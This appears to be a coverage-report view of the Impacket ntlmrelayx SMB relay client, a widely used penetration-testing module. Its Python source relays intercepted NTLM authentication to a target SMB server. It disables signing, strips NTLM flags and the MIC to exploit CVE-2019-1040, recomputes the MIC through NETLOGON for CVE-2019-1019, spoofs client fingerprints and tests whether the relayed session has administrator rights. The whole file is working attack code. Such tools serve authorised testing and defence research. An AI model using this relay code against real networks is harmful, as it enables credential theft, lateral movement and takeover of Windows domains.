Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# SMB Relay Protocol Client 

11# This is the SMB client which initiates the connection to an 

12# SMB server and relays the credentials to this server. 

13# 

14# Author: 

15# Alberto Solino (@agsolino) 

16# 

17 

18import logging 

19import os 

20 

21from binascii import unhexlify, hexlify 

22from struct import unpack, pack 

23from socket import error as socketerror 

24from impacket.dcerpc.v5.rpcrt import DCERPCException 

25from impacket.dcerpc.v5 import nrpc 

26from impacket.dcerpc.v5 import transport 

27from impacket.dcerpc.v5.ndr import NULL 

28from impacket import LOG 

29from impacket.examples.ntlmrelayx.clients import ProtocolClient 

30from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER 

31from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE 

32from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \ 

33 generateEncryptedSessionKey, hmac_md5 

34from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \ 

35 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \ 

36 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters 

37from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \ 

38 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \ 

39 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \ 

40 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response 

41from impacket.smbconnection import SMBConnection, SMB_DIALECT 

42from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION 

43from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech 

44from impacket.dcerpc.v5.transport import SMBTransport 

45from impacket.dcerpc.v5 import scmr 

46 

47PROTOCOL_CLIENT_CLASS = "SMBRelayClient" 

48 

49class MYSMB(SMB): 

50 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None): 

51 self.extendedSecurity = extendedSecurity 

52 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket) 

53 

54 def neg_session(self, negPacket=None): 

55 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket) 

56 

57class MYSMB3(SMB3): 

58 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None): 

59 self.extendedSecurity = extendedSecurity 

60 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect) 

61 

62 def negotiateSession(self, preferredDialect = None, negSessionResponse = None): 

63 # We DON'T want to sign 

64 self._Connection['ClientSecurityMode'] = 0 

65 

66 if self.RequireMessageSigning is True: 

67 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') 

68 return 

69 

70 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION 

71 currentDialect = SMB2_DIALECT_WILDCARD 

72 

73 # Do we have a negSessionPacket already? 

74 if negSessionResponse is not None: 

75 # Yes, let's store the dialect answered back 

76 negResp = SMB2Negotiate_Response(negSessionResponse['Data']) 

77 currentDialect = negResp['DialectRevision'] 

78 

79 if currentDialect == SMB2_DIALECT_WILDCARD: 

80 # Still don't know the chosen dialect, let's send our options 

81 

82 packet = self.SMB_PACKET() 

83 packet['Command'] = SMB2_NEGOTIATE 

84 negSession = SMB2Negotiate() 

85 

86 negSession['SecurityMode'] = self._Connection['ClientSecurityMode'] 

87 negSession['Capabilities'] = self._Connection['Capabilities'] 

88 negSession['ClientGuid'] = self.ClientGuid 

89 if preferredDialect is not None: 

90 negSession['Dialects'] = [preferredDialect] 

91 else: 

92 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30] 

93 negSession['DialectCount'] = len(negSession['Dialects']) 

94 packet['Data'] = negSession 

95 

96 packetID = self.sendSMB(packet) 

97 ans = self.recvSMB(packetID) 

98 if ans.isValidAnswer(STATUS_SUCCESS): 

99 negResp = SMB2Negotiate_Response(ans['Data']) 

100 

101 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize']) 

102 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize']) 

103 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize']) 

104 self._Connection['ServerGuid'] = negResp['ServerGuid'] 

105 self._Connection['GSSNegotiateToken'] = negResp['Buffer'] 

106 self._Connection['Dialect'] = negResp['DialectRevision'] 

107 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED: 

108 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic') 

109 return 

110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING: 

111 self._Connection['SupportsFileLeasing'] = True 

112 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU: 

113 self._Connection['SupportsMultiCredit'] = True 

114 

115 if self._Connection['Dialect'] == SMB2_DIALECT_30: 

116 # Switching to the right packet format 

117 self.SMB_PACKET = SMB3Packet 

118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING: 

119 self._Connection['SupportsDirectoryLeasing'] = True 

120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL: 

121 self._Connection['SupportsMultiChannel'] = True 

122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES: 

123 self._Connection['SupportsPersistentHandles'] = True 

124 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION: 

125 self._Connection['SupportsEncryption'] = True 

126 

127 self._Connection['ServerCapabilities'] = negResp['Capabilities'] 

128 self._Connection['ServerSecurityMode'] = negResp['SecurityMode'] 

129 

130class SMBRelayClient(ProtocolClient): 

131 PLUGIN_NAME = "SMB" 

132 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ): 

133 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

134 self.extendedSecurity = extendedSecurity 

135 

136 self.machineAccount = None 

137 self.machineHashes = None 

138 self.sessionData = {} 

139 

140 self.negotiateMessage = None 

141 self.challengeMessage = None 

142 self.serverChallenge = None 

143 

144 self.keepAliveHits = 1 

145 

146 def netlogonSessionKey(self, authenticateMessageBlob): 

147 # Here we will use netlogon to get the signing session key 

148 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) 

149 

150 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

151 authenticateMessage = NTLMAuthChallengeResponse() 

152 authenticateMessage.fromString(authenticateMessageBlob) 

153 _, machineAccount = self.serverConfig.machineAccount.split('/') 

154 domainName = authenticateMessage['domain_name'].decode('utf-16le') 

155 

156 try: 

157 serverName = machineAccount[:len(machineAccount)-1] 

158 except: 

159 # We're in NTLMv1, not supported 

160 return STATUS_ACCESS_DENIED 

161 

162 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp 

163 

164 rpctransport = transport.DCERPCTransportFactory(stringBinding) 

165 

166 if len(self.serverConfig.machineHashes) > 0: 

167 lmhash, nthash = self.serverConfig.machineHashes.split(':') 

168 else: 

169 lmhash = '' 

170 nthash = '' 

171 

172 if hasattr(rpctransport, 'set_credentials'): 

173 # This method exists only for selected protocol sequences. 

174 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) 

175 

176 dce = rpctransport.get_dce_rpc() 

177 dce.connect() 

178 dce.bind(nrpc.MSRPC_UUID_NRPC) 

179 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678') 

180 

181 serverChallenge = resp['ServerChallenge'] 

182 

183 if self.serverConfig.machineHashes == '': 

184 ntHash = None 

185 else: 

186 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1]) 

187 

188 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) 

189 

190 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) 

191 

192 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00', 

193 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', 

194 ppp, 0x600FFFFF) 

195 

196 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) 

197 

198 # Now let's try to verify the security blob against the PDC 

199 

200 request = nrpc.NetrLogonSamLogonWithFlags() 

201 request['LogonServer'] = '\x00' 

202 request['ComputerName'] = serverName + '\x00' 

203 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 

204 

205 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

206 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation 

207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName 

208 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0 

209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[ 

210 'user_name'].decode('utf-16le') 

211 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = '' 

212 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge 

213 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm'] 

214 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman'] 

215 

216 authenticator = nrpc.NETLOGON_AUTHENTICATOR() 

217 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey) 

218 authenticator['Timestamp'] = 10 

219 

220 request['Authenticator'] = authenticator 

221 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 

222 request['ReturnAuthenticator']['Timestamp'] = 0 

223 request['ExtraFlags'] = 0 

224 # request.dump() 

225 try: 

226 resp = dce.request(request) 

227 # resp.dump() 

228 except DCERPCException as e: 

229 if logging.getLogger().level == logging.DEBUG: 

230 import traceback 

231 traceback.print_exc() 

232 logging.error(str(e)) 

233 return e.get_error_code() 

234 

235 logging.info("%s\\%s successfully validated through NETLOGON" % ( 

236 domainName, authenticateMessage['user_name'].decode('utf-16le'))) 

237 

238 encryptedSessionKey = authenticateMessage['session_key'] 

239 if encryptedSessionKey != b'': 

240 signingKey = generateEncryptedSessionKey( 

241 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey) 

242 else: 

243 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey'] 

244 

245 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8')) 

246 

247 return STATUS_SUCCESS, signingKey 

248 

249 def keepAlive(self): 

250 # SMB Keep Alive more or less every 5 minutes 

251 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): 

252 # Time to send a packet 

253 # Just a tree connect / disconnect to avoid the session timeout 

254 tid = self.session.connectTree('IPC$') 

255 self.session.disconnectTree(tid) 

256 self.keepAliveHits = 1 

257 else: 

258 self.keepAliveHits +=1 

259 

260 def killConnection(self): 

261 if self.session is not None: 

262 self.session.close() 

263 self.session = None 

264 

265 def initConnection(self): 

266 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True) 

267 #,preferredDialect=SMB_DIALECT) 

268 if self.serverConfig.smb2support is True: 

269 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' 

270 else: 

271 data = '\x02NT LM 0.12\x00' 

272 

273 if self.extendedSecurity is True: 

274 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 

275 else: 

276 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES 

277 try: 

278 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, 

279 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, 

280 flags2=flags2, data=data) 

281 except Exception as e: 

282 if not self.serverConfig.smb2support: 

283 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support') 

284 else: 

285 LOG.error('SMBClient error: Connection was reset') 

286 return False 

287 if packet[0:1] == b'\xfe': 

288 preferredDialect = None 

289 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 

290 if self.serverConfig.remove_target: 

291 preferredDialect = SMB2_DIALECT_21 

292 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), 

293 negPacket=packet, preferredDialect=preferredDialect) 

294 else: 

295 # Answer is SMB packet, sticking to SMBv1 

296 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(), 

297 negPacket=packet) 

298 

299 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, 

300 existingConnection=smbClient, manualNegotiate=True) 

301 

302 return True 

303 

304 def setUid(self,uid): 

305 self._uid = uid 

306 

307 def sendNegotiate(self, negotiateMessage): 

308 negoMessage = NTLMAuthNegotiate() 

309 negoMessage.fromString(negotiateMessage) 

310 # When exploiting CVE-2019-1040, remove flags 

311 if self.serverConfig.remove_mic: 

312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

318 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

319 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

320 

321 negotiateMessage = negoMessage.getData() 

322 

323 challenge = NTLMAuthChallenge() 

324 if self.session.getDialect() == SMB_DIALECT: 

325 challenge.fromString(self.sendNegotiatev1(negotiateMessage)) 

326 else: 

327 challenge.fromString(self.sendNegotiatev2(negotiateMessage)) 

328 

329 self.negotiateMessage = negotiateMessage 

330 self.challengeMessage = challenge.getData() 

331 

332 # Store the Challenge in our session data dict. It will be used by the SMB Proxy 

333 self.sessionData['CHALLENGE_MESSAGE'] = challenge 

334 self.serverChallenge = challenge['challenge'] 

335 

336 return challenge 

337 

338 def sendNegotiatev2(self, negotiateMessage): 

339 v2client = self.session.getSMBServer() 

340 

341 sessionSetup = SMB2SessionSetup() 

342 sessionSetup['Flags'] = 0 

343 

344 sessionSetup['SecurityBufferLength'] = len(negotiateMessage) 

345 sessionSetup['Buffer'] = negotiateMessage 

346 

347 packet = v2client.SMB_PACKET() 

348 packet['Command'] = SMB2_SESSION_SETUP 

349 packet['Data'] = sessionSetup 

350 

351 packetID = v2client.sendSMB(packet) 

352 ans = v2client.recvSMB(packetID) 

353 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): 

354 v2client._Session['SessionID'] = ans['SessionID'] 

355 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) 

356 return sessionSetupResponse['Buffer'] 

357 

358 return False 

359 

360 def sendNegotiatev1(self, negotiateMessage): 

361 v1client = self.session.getSMBServer() 

362 

363 smb = NewSMBPacket() 

364 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 

365 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY 

366 # Are we required to sign SMB? If so we do it, if not we skip it 

367 if v1client.is_signing_required(): 

368 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 

369 

370 # Just in case, clear the Unicode Flag 

371 flags2 = v1client.get_flags ()[1] 

372 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) 

373 

374 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

375 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 

376 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 

377 

378 sessionSetup['Parameters']['MaxBufferSize'] = 65535 

379 sessionSetup['Parameters']['MaxMpxCount'] = 2 

380 sessionSetup['Parameters']['VcNumber'] = 1 

381 sessionSetup['Parameters']['SessionKey'] = 0 

382 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 

383 

384 # Let's build a NegTokenInit with the NTLMSSP 

385 # TODO: In the future we should be able to choose different providers 

386 

387 #blob = SPNEGO_NegTokenInit() 

388 

389 # NTLMSSP 

390 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']] 

391 #blob['MechToken'] = negotiateMessage 

392 

393 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob) 

394 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage) 

395 sessionSetup['Parameters'].getData() 

396 #sessionSetup['Data']['SecurityBlob'] = blob.getData() 

397 sessionSetup['Data']['SecurityBlob'] = negotiateMessage 

398 

399 # Fake Data here, don't want to get us fingerprinted 

400 sessionSetup['Data']['NativeOS'] = 'Unix' 

401 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

402 

403 smb.addCommand(sessionSetup) 

404 v1client.sendSMB(smb) 

405 smb = v1client.recvSMB() 

406 

407 try: 

408 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 

409 except Exception: 

410 LOG.error("SessionSetup Error!") 

411 raise 

412 else: 

413 # We will need to use this uid field for all future requests/responses 

414 v1client.set_uid(smb['Uid']) 

415 

416 # Now we have to extract the blob to continue the auth process 

417 sessionResponse = SMBCommand(smb['Data'][0]) 

418 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) 

419 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) 

420 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] 

421 sessionData.fromString(sessionResponse['Data']) 

422 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) 

423 

424 #return respToken['ResponseToken'] 

425 return sessionData['SecurityBlob'] 

426 

427 def sendStandardSecurityAuth(self, sessionSetupData): 

428 v1client = self.session.getSMBServer() 

429 flags2 = v1client.get_flags()[1] 

430 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) 

431 if sessionSetupData['Account'] != '': 

432 smb = NewSMBPacket() 

433 smb['Flags1'] = 8 

434 

435 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

436 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() 

437 sessionSetup['Data'] = SMBSessionSetupAndX_Data() 

438 

439 sessionSetup['Parameters']['MaxBuffer'] = 65535 

440 sessionSetup['Parameters']['MaxMpxCount'] = 2 

441 sessionSetup['Parameters']['VCNumber'] = os.getpid() 

442 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] 

443 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) 

444 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) 

445 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE 

446 

447 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] 

448 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] 

449 sessionSetup['Data']['Account'] = sessionSetupData['Account'] 

450 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain'] 

451 sessionSetup['Data']['NativeOS'] = 'Unix' 

452 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

453 

454 smb.addCommand(sessionSetup) 

455 

456 v1client.sendSMB(smb) 

457 smb = v1client.recvSMB() 

458 try: 

459 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) 

460 except: 

461 return None, STATUS_LOGON_FAILURE 

462 else: 

463 v1client.set_uid(smb['Uid']) 

464 return smb, STATUS_SUCCESS 

465 else: 

466 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials 

467 clientResponse = None 

468 errorCode = STATUS_ACCESS_DENIED 

469 

470 return clientResponse, errorCode 

471 

472 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

473 

474 # When exploiting CVE-2019-1040, remove flags 

475 if self.serverConfig.remove_mic: 

476 authMessage = NTLMAuthChallengeResponse() 

477 authMessage.fromString(authenticateMessageBlob) 

478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: 

479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN 

480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: 

481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN 

482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: 

483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH 

484 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: 

485 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION 

486 authMessage['MIC'] = b'' 

487 authMessage['MICLen'] = 0 

488 authMessage['Version'] = b'' 

489 authMessage['VersionLen'] = 0 

490 authenticateMessageBlob = authMessage.getData() 

491 

492 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

493 # # We need to unwrap SPNEGO and get the NTLMSSP 

494 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

495 # authData = respToken['ResponseToken'] 

496 #else: 

497 authData = authenticateMessageBlob 

498 

499 signingKey = None 

500 if self.serverConfig.remove_target: 

501 # Trying to exploit CVE-2019-1019 

502 # Discovery and Implementation by @simakov_marina and @YaronZi 

503 # respToken2 = SPNEGO_NegTokenResp(authData) 

504 authenticateMessageBlob = authData 

505 

506 errorCode, signingKey = self.netlogonSessionKey(authData) 

507 

508 # Recalculate MIC 

509 res = NTLMAuthChallengeResponse() 

510 res.fromString(authenticateMessageBlob) 

511 

512 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] 

513 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) 

514 

515 respToken2 = SPNEGO_NegTokenResp() 

516 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] 

517 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] 

518 #authData = respToken2.getData() 

519 

520 if self.session.getDialect() == SMB_DIALECT: 

521 token, errorCode = self.sendAuthv1(authData, serverChallenge) 

522 else: 

523 token, errorCode = self.sendAuthv2(authData, serverChallenge) 

524 

525 if signingKey: 

526 logging.info("Enabling session signing") 

527 self.session._SMBConnection.set_session_key(signingKey) 

528 

529 return token, errorCode 

530 

531 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): 

532 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

533 # We need to unwrap SPNEGO and get the NTLMSSP 

534 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

535 authData = respToken['ResponseToken'] 

536 else: 

537 authData = authenticateMessageBlob 

538 

539 v2client = self.session.getSMBServer() 

540 

541 sessionSetup = SMB2SessionSetup() 

542 sessionSetup['Flags'] = 0 

543 

544 packet = v2client.SMB_PACKET() 

545 packet['Command'] = SMB2_SESSION_SETUP 

546 packet['Data'] = sessionSetup 

547 

548 # Reusing the previous structure 

549 sessionSetup['SecurityBufferLength'] = len(authData) 

550 sessionSetup['Buffer'] = authData 

551 

552 packetID = v2client.sendSMB(packet) 

553 packet = v2client.recvSMB(packetID) 

554 

555 return packet, packet['Status'] 

556 

557 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): 

558 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

559 # We need to unwrap SPNEGO and get the NTLMSSP 

560 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) 

561 authData = respToken['ResponseToken'] 

562 else: 

563 authData = authenticateMessageBlob 

564 

565 v1client = self.session.getSMBServer() 

566 

567 smb = NewSMBPacket() 

568 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS 

569 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE 

570 # Are we required to sign SMB? If so we do it, if not we skip it 

571 if v1client.is_signing_required(): 

572 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE 

573 smb['Uid'] = v1client.get_uid() 

574 

575 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) 

576 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() 

577 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() 

578 

579 sessionSetup['Parameters']['MaxBufferSize'] = 65535 

580 sessionSetup['Parameters']['MaxMpxCount'] = 2 

581 sessionSetup['Parameters']['VcNumber'] = 1 

582 sessionSetup['Parameters']['SessionKey'] = 0 

583 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE 

584 

585 # Fake Data here, don't want to get us fingerprinted 

586 sessionSetup['Data']['NativeOS'] = 'Unix' 

587 sessionSetup['Data']['NativeLanMan'] = 'Samba' 

588 

589 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) 

590 sessionSetup['Data']['SecurityBlob'] = authData 

591 smb.addCommand(sessionSetup) 

592 v1client.sendSMB(smb) 

593 

594 smb = v1client.recvSMB() 

595 

596 errorCode = smb['ErrorCode'] << 16 

597 errorCode += smb['_reserved'] << 8 

598 errorCode += smb['ErrorClass'] 

599 

600 return smb, errorCode 

601 

602 def getStandardSecurityChallenge(self): 

603 if self.session.getDialect() == SMB_DIALECT: 

604 return self.session.getSMBServer().get_encryption_key() 

605 else: 

606 return None 

607 

608 def isAdmin(self): 

609 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) 

610 dce = rpctransport.get_dce_rpc() 

611 try: 

612 dce.connect() 

613 except: 

614 pass 

615 else: 

616 dce.bind(scmr.MSRPC_UUID_SCMR) 

617 try: 

618 # 0xF003F - SC_MANAGER_ALL_ACCESS 

619 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx 

620 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F) 

621 return "TRUE" 

622 except scmr.DCERPCException as e: 

623 pass 

624 return "FALSE"